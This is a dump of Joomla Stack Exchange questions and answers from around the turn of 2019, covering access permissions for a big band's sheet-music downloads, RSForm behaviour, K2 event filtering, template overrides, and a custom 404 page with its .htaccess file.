  <row Id="23971" PostTypeId="1" CreationDate="2018-12-28T18:42:56.337" Score="3" ViewCount="219" Body="&lt;p&gt;In my spare time I run a big band swing group that consists of 22 people (18 musicians, and 4 singers). Each musician/singer needs to download their part for a particular song's arrangement (E.g. bass - &quot;Accentuate the Positive.&quot;) I am currently using Joomla 3.9.1 for my band's personnel site. This is a centralized location where they can log on, download the song for the arrangement (yes, I purchase them), and also download their particular instrument's part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my main menu pages is called &quot;Current Arrangements (A-Z).&quot; This contains a list of the current arrangements we might choose to play at a gig. &lt;a href=&quot;https://i.stack.imgur.com/mf1lJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mf1lJ.png&quot; alt=&quot;William and the Romantics current arrangements.&quot;&gt;&lt;/a&gt; An arrangement consists of all the parts for that particular song, that I have (perhaps naively) written using HTML ul/li tags. Understandably, some arrangements have less parts than others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say a user selects &quot;Accentuate the Positive&quot; for his/her part. &lt;a href=&quot;https://i.stack.imgur.com/lzbCu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lzbCu.png&quot; alt=&quot;Accentuate the Positive arrangement.&quot;&gt;&lt;/a&gt; Suppose I am the group's bassist (a very cool guy, BTW). I click the Bass Guitar link and the PDF pops up for him to either download or print.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my problem: I'd like for a musician to be able to see only his/her instrument's part in the arrangement. They don't need to see all of the other arrangement's parts. The band's music director needs to see all of the parts in an arrangement, as do I.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now the main menu item &quot;Current Arrangements (A-Z)&quot; Menu Item Type is set to &quot;Single Article.&quot; In the &quot;Select Article&quot; box I have Current Arrangements (A-Z).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BjYAL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BjYAL.png&quot; alt=&quot;Menu item &amp;quot;Current Arrangements (A-Z)&amp;quot; configuration.&quot;&gt;&lt;/a&gt; &#xA;This works, but upon clicking a song I want, I get the entire arrangement's page. It's sloppy because it brings up all of the arrangement's parts. I've spent hours doing basic HTML stuff to get them arranged on each page. I think I may not have been very smart in how I am utilizing Joomla's strengths.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UedEU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UedEU.png&quot; alt=&quot;Current HTML layout of an arrangement&amp;#39;s page.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am totally willing to rearrange the content if need be, but I'd like to avoid it if I can. I've goofed around with some YT videos and web articles talking about arranging by blog type. Doesn't seem to work. I'm also wondering if there isn't an extension that would help me get to my goal: A regular user should be able to grab just his/her instrument's arrangements for download or printing purposes. This would especially be a super-helpful thing for sub musicians who only need to see their parts: they don't care about other musicians in the band.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also thought about writing a view, but this seems like some heavy lifting. However, I'm willing to tackle it if need be. Any advice, counsel?&lt;/p&gt;&#xA;" OwnerUserId="13183" LastEditorUserId="13183" LastEditDate="2018-12-28T18:49:15.660" LastActivityDate="2018-12-28T20:09:15.100" Title="Musicians only need certain music arrangements" Tags="|sorting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23972" PostTypeId="2" ParentId="23971" CreationDate="2018-12-28T20:09:15.100" Score="3" Body="&lt;p&gt;You are having to do way too much work by using Joomla! Articles and HTML. It can be done this way with a bit more advanced coding. However, there is a much simpler way--use a &lt;a href=&quot;https://extensions.joomla.org/category/directory-a-documentation/downloads/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download manager extension&lt;/a&gt;. I prefer to use &lt;a href=&quot;https://www.joomlatools.com/extensions/docman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DOCman&lt;/a&gt;, but any will do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside your user manager, create user groups for each band member type:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Band&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Singers&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Soprano&lt;/li&gt;&#xA;&lt;li&gt;Alto&lt;/li&gt;&#xA;&lt;li&gt;Tenor&lt;/li&gt;&#xA;&lt;li&gt;Bass&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Musicians&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Woodwinds&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alto Sax&lt;/li&gt;&#xA;&lt;li&gt;Bari Sax&lt;/li&gt;&#xA;&lt;li&gt;Tenor Sax&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Brass&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Trombone&lt;/li&gt;&#xA;&lt;li&gt;Trumpet&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rhythm&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Guitar&lt;/li&gt;&#xA;&lt;li&gt;Bass&lt;/li&gt;&#xA;&lt;li&gt;Drums&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Director&lt;/li&gt;&#xA;&lt;li&gt;Administrator (this already exists as Joomla! default group, so if you don't want your band administrator/secretary to have backend access to the website, use a different group name like &quot;Band Administrator&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign each of your members/users to the appropriate user group inside the User Manager.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside your extension, organize the songs in this way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Master director for all songs (i.e. &quot;Current Arrangements (A-Z)&quot;). You can omit this step if you won't use the download manager for anything else besides song parts, but I'd go ahead and do it either way.&lt;/li&gt;&#xA;&lt;li&gt;Sub-director for each song (i.e. &quot;Accentuate the Positive&quot;).&lt;/li&gt;&#xA;&lt;li&gt;Upload each part for each song inside the song's directory with permissions only to the user group for which the part belongs, as well as the &quot;Director&quot; and &quot;Administrator&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a front-end view (menu item) for the download manager showing the master song directory with permissions for &quot;Registered&quot; users (assuming the band and staff are the only ones with user accounts).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, when each person clicks on the link to the song directory, they will be required to sign in. They will all see the directories for each song. However, once they open each song's directory, they will only see the download for which they have access to (i.e. their own part(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ever have sheets where the entire brass section is on one sheet but in different staves, assign that part to the &quot;Brass&quot; user group and then all the brass players can access the part. You can do the same for Singers, Musicians, Woodwinds, Rhythm, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to take it a step further, you can add notes in the description for each directory and/or file upload that gives instructions to the players/singers.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2018-12-28T20:09:15.100" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23974" PostTypeId="2" ParentId="23970" CreationDate="2018-12-29T00:06:20.557" Score="1" Body="&lt;p&gt;It probably depends on specific circumstances. I have custom modules that contain several 'secondary' modules. I accomplish this using the Modules Anywhere extension and add {example module} to the code for the module I'm putting it in. You don't need to include a module position in the module settings to use Modules Anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/modules-anywhere/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/modules-anywhere/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13028" LastActivityDate="2018-12-29T00:06:20.557" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23975" PostTypeId="2" ParentId="16818" CreationDate="2018-12-29T02:27:00.680" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I basically just want to create a breadcrumb from menu items instead of the content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I recently had the same problem. After a lot of work, I concluded that the Joomla breadcrumbs module is buggy. The solution for me was to use the Joomla extensions called &quot;Breadcrumbs Advanced&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13184" LastActivityDate="2018-12-29T02:27:00.680" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23976" PostTypeId="1" CreationDate="2018-12-29T13:53:12.083" Score="0" ViewCount="4017" Body="&lt;p&gt;How can I add a line break into the placeholder text area of the RSform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- \n&#xA;- &amp;lt;br/&amp;gt;&#xA;- &amp;amp;#10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A sample of the form with the non working text area can be found here at the last page as guarantees field: &lt;a href=&quot;https://www.xenovation.com/ads/jobs/supplier-freelancer-and-registration-form&quot; rel=&quot;nofollow noreferrer&quot;&gt;freelancer-form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3956" LastEditorUserId="13241" LastEditDate="2019-01-15T08:22:29.843" LastActivityDate="2020-03-04T13:01:25.127" Title="How to add line break into placeholder text area?" Tags="|rsform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23978" PostTypeId="2" ParentId="23976" CreationDate="2018-12-29T15:13:57.327" Score="1" Body="&lt;p&gt;Many people offer js and non-js solutions here: &lt;a href=&quot;https://stackoverflow.com/q/7312623/2943403&quot;&gt;https://stackoverflow.com/q/7312623/2943403&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a non-js technique may have different outcomes on different browsers -- specifically standards compliant versus non-compliant browsers.  The reason for this obstacle:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The placeholder attribute represents a short hint (a word or short phrase) intended to aid the user with data entry when the control has no value. A hint could be a sample value or a brief description of the expected format. The attribute, if specified, must have a value that contains no U+000A LINE FEED (LF) or U+000D CARRIAGE RETURN (CR) characters.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My cleanest recommendation is not to fight the placeholder attribute and just express the &lt;code&gt;e.g.&lt;/code&gt; as plain text outside of the textarea tag or be content with asingle wrapping line of text.  This will likely provide an improved UX for visually impaired visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I'll ask @sirobertson to advise about how we got our JoomlaDayAustralia2019 survey to correctly position the page after clicking Next.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-29T20:36:54.093" LastActivityDate="2018-12-29T20:36:54.093" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23979" PostTypeId="1" CreationDate="2018-12-30T01:20:52.223" Score="1" ViewCount="979" Body="&lt;p&gt;The chosen multiple select result outputs always in ascending order of the array, regardless of the selected order. I couldn't find information related to ordering in the JHtml attribute array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the output to sort as selected by the user.&#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;items&quot; name=&quot;items&quot; size=&quot;2&quot; multiple&amp;gt;&#xA;  &amp;lt;option value=&quot;tomato&quot;&amp;gt;Tomato&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;meat&quot;&amp;gt;Meat&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;cheese&quot;&amp;gt;Cheese&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the values output using the following method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#items&quot;).val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The returned order is &lt;strong&gt;tomato,meat,cheese&lt;/strong&gt; though cheese was selected first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an ordering parameter available, similar to the following example which will return the output in the order of selection?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('formbehavior.chosen', 'select', null, ['set_order' =&amp;gt; 'order']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2019-01-02T23:55:24.737" Title="Is there a method to sort the FormBehavior.chosen output in Joomla 3?" Tags="|joomla-3.x|jquery|jhtml|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23980" PostTypeId="1" CreationDate="2018-12-30T18:54:00.143" Score="0" ViewCount="54" Body="&lt;p&gt;I am creating k2 articles as events. There will be:   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upcoming events   &lt;/li&gt;&#xA;&lt;li&gt;Old events. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am not able to show old events for current date. How to filter both types of events (Upcoming/Old) with single category. In k2 article filter showing all event post by date old/new, etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my requirement is:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upcoming event article show only&lt;/li&gt;&#xA;&lt;li&gt;Old event article show only.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;with a single category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me how to filter both type article.&lt;/p&gt;&#xA;" OwnerUserId="13189" LastEditorUserId="126" LastEditDate="2019-09-27T06:37:02.967" LastActivityDate="2024-02-03T13:07:35.867" Title="How to show k2 article previous date only and upcoming only" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23981" PostTypeId="2" ParentId="23980" CreationDate="2018-12-30T20:44:16.723" Score="0" Body="&lt;p&gt;This is not possible without a 3rd party plugin, or hacking K2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hacking K2 is not recommended, because any modifications will be lost after updating K2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, no 3rd party plugin exists implementing this functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the solution is to develop a plugin, or hire a developer if you don't know how to develop it.&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2018-12-30T20:44:16.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23982" PostTypeId="2" ParentId="20732" CreationDate="2018-12-31T02:56:43.270" Score="0" Body="&lt;p&gt;The free &quot;Extra Vote&quot; extension enables this functionality:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/extra-vote&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/extra-vote&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-12-31T02:56:43.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23983" PostTypeId="1" CreationDate="2018-12-31T08:57:56.107" Score="0" ViewCount="431" Body="&lt;p&gt;I am having trouble with custom 404 page,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have been trying to get the custom 404 page to work but I have problem making it work right. All the methods that are described everywhere :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;make custom 404 page, &lt;/li&gt;&#xA;&lt;li&gt;add it to menu &lt;/li&gt;&#xA;&lt;li&gt;copy error.php from system and set it up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does NOT work as it should, it returns code 200 instead of 404 with the page (as it found the page) which is bad for SEO as google thinks that any possible page of the website is good (code 200).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I purchased the plugin called Rapi custom 404 (&lt;a href=&quot;http://rapicode.com/product/rapi-custom-404-page&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;) however it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tech support from Rapi provided me with new custom error.php page containing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined ('_JEXEC') or die();&#xA;&#xA;$plugin = JPluginHelper::getPlugin('system', 'rapi_custom_404_page');&#xA;$params = new JRegistry($plugin-&amp;gt;params);&#xA;$page_title = $params-&amp;gt;get('error_title', &quot;404 - Page Not Found&quot;);&#xA;$heading_text = $params-&amp;gt;get('heading_text', &quot;OOPS! Page Not Found&quot;);&#xA;$description_text = $params-&amp;gt;get('description_text', &quot;The page you are looking for doesn't exist&quot;);&#xA;$home_button_text = $params-&amp;gt;get('home_button_text', &quot;Go Home&quot;);&#xA;$theme = $params-&amp;gt;get('theme', '1');&#xA;include &quot;plugins/system/rapi_custom_404_page/themes/theme{$theme}.php&quot;; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it still doesn't work, now I think the error comes from the &lt;strong&gt;.htaccess&lt;/strong&gt; file. I have been toying with it, and at the moment I am having this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2018 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line 'Options +FollowSymLinks' may cause problems with some server configurations.&#xA;# It is required for the use of mod_rewrite, but it may have already been set by your&#xA;# server administrator in a way that disallows changing it in this .htaccess file.&#xA;# If using it causes your site to produce an error, comment it out (add # to the&#xA;# beginning of the line), reload your site in your browser and test your sef urls. If&#xA;# they work, then it has been set by your server administrator and you do not need to&#xA;# set it here.&#xA;##&#xA;&#xA;## No directory listings&#xA;&amp;lt;IfModule autoindex&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;ErrorDocument 404 /templates/e4jdrivers/error.php&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed&#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyone that could help me fix my .htaccess page to get it to work?&lt;/p&gt;&#xA;" OwnerUserId="13191" LastEditorUserId="12352" LastEditDate="2019-01-30T22:51:01.430" LastActivityDate="2019-06-30T00:02:05.230" Title="Custom 404 page" Tags="|joomla-3.x|.htaccess-configuration|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23984" PostTypeId="1" AcceptedAnswerId="23986" CreationDate="2018-12-31T15:26:56.730" Score="0" ViewCount="197" Body="&lt;p&gt;I would like to make a change to the username reminder page.  I had assumed that this would simply be a case of creating an template override thus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/mytemplate/html/com_users/remind/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas, nothing happens.  Joomla! completely ignores my override.  Any ideas?  Are template overrides not valid for com_users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's driving me insane - almost to the point where I have considered buggering about with the core just to make it work.&lt;/p&gt;&#xA;" OwnerUserId="13192" LastActivityDate="2018-12-31T17:40:25.247" Title="How to override com_users view" Tags="|joomla-3.x|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23985" PostTypeId="2" ParentId="23983" CreationDate="2018-12-31T17:01:49.773" Score="1" Body="&lt;p&gt;You should be able to adjust the error.php file to set the header either with the &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Joomla way:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;$app-&amp;gt;setHeader('HTTP/1.1', '404 Not Found',true);  &#xA;&#xA;$app-&amp;gt;sendHeaders();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;PHP way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('HTTP/1.1 404 Not Found', true, 404);    &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="464" LastEditorUserId="12352" LastEditDate="2019-01-30T22:53:49.530" LastActivityDate="2019-01-30T22:53:49.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23986" PostTypeId="2" ParentId="23984" CreationDate="2018-12-31T17:40:25.247" Score="0" Body="&lt;p&gt;Okay, I am officially an idiot.  My issue was that I have multiple templates for different parts of the site.  The component/user/view has no specific template assigned and is therefore using the default for the site.  Hence the changes I have been making all day to my template will have absolutely no impact on the screen!  Thank you for humouring an old fool.  I will get my coat!&lt;/p&gt;&#xA;" OwnerUserId="13192" LastActivityDate="2018-12-31T17:40:25.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23987" PostTypeId="1" AcceptedAnswerId="24082" CreationDate="2019-01-01T19:34:36.323" Score="1" ViewCount="247" Body="&lt;p&gt;If I create a new multi-page form in RSform the page switching is behaving non user centric.&#xA;Means if I click on &quot;Next&quot; in the form the form is, to staying at the bottom of the page instead of jumping to the top of the form on the new page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure this behaviour to jump to the top of the form.&#xA;Ideally I can decide to jump to the top only if the user has not entered any values. So a user can quickly click through the form if he wants only to review the form.&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2019-01-15T08:30:19.173" Title="RSform with multipage form is not jumping to the top of the form" Tags="|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23988" PostTypeId="1" CreationDate="2019-01-01T22:24:55.907" Score="2" ViewCount="50" Body="&lt;p&gt;Hello again StackExchange Joomla experts. I recently wrote a post that asked how to make sense out of a 22-piece big band swing organization of which I am the director. My goal is to provide a personnel site in which a player is able to see only his/her charts (e.g. arrangements) for a given song. For example, Trumpet 1 should only be able to see Trumpet 1 charts, not everyone else's charts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A kind gentleman responded to me and told me about Docman, and I have found this to be the tool that solved a lot of my issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 1st screen shot below, you can see that I've created a user called TromboneSub. TromboneSub's category is TromboneSub, and its parent is Trombone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dNpjl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNpjl.png&quot; alt=&quot;TromboneSub&amp;#39;s configuration screen - 1&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 2nd screen shot I have assigned TromboneSub's group memberships to &quot;Registered&quot; and &quot;TromboneSub.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vFdu7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vFdu7.png&quot; alt=&quot;TromboneSub&amp;#39;s configuration screen - 2&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd screen shot shows that I have assigned the Trombone 1 part for the song &quot;All of Me&quot; to TromboneSub. Again, TromboneSub's group memberships are &quot;Registered&quot; and &quot;TromboneSub.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zaVgC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zaVgC.png&quot; alt=&quot;TromboneSub&amp;#39;s group memberships for the song &amp;quot;All of Me.&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(NOTE: The idea is that I may need a sub for Trombone 1, 2, 3 or 4, which is why the &quot;All of Me&quot; chart referenced in the screen shot is for Trombone1. TromboneSub should be able to see &lt;em&gt;all&lt;/em&gt; trombone parts. What I am trying to accomplish here is to take the player's name out of the picture. If we need a trombone sub, we hire the person for the gig, then just pass him/her the account logon information so they can access the charts they need: In this case &quot;All of Me&quot; for Trombone 1. What I &lt;em&gt;don't&lt;/em&gt; want is for TromboneSub to be able to see other charts for other instruments. I want to make it simple for subs to be able to long onto our personnel site as &lt;em&gt;Instrument&lt;/em&gt;Sub to download the charts they need for their instrument.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I guess I do not understand permissions very well. Unfortunately, when I log in as TromboneSub, I am able to see &lt;em&gt;all&lt;/em&gt; of the arrangements, as you can see from the screen shot below. Ideally, TromboneSub should only be able to see the TromboneSub folder and the charts that are in it (e.g. Trombone 1, 2, 3, and 4.) The fact that TromboneSub can see AltoSax is &lt;em&gt;not&lt;/em&gt; good!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3YoUd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YoUd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13183" LastEditorUserId="12352" LastEditDate="2019-01-02T23:20:37.023" LastActivityDate="2019-06-04T23:03:50.477" Title="I'm confused about permissions" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
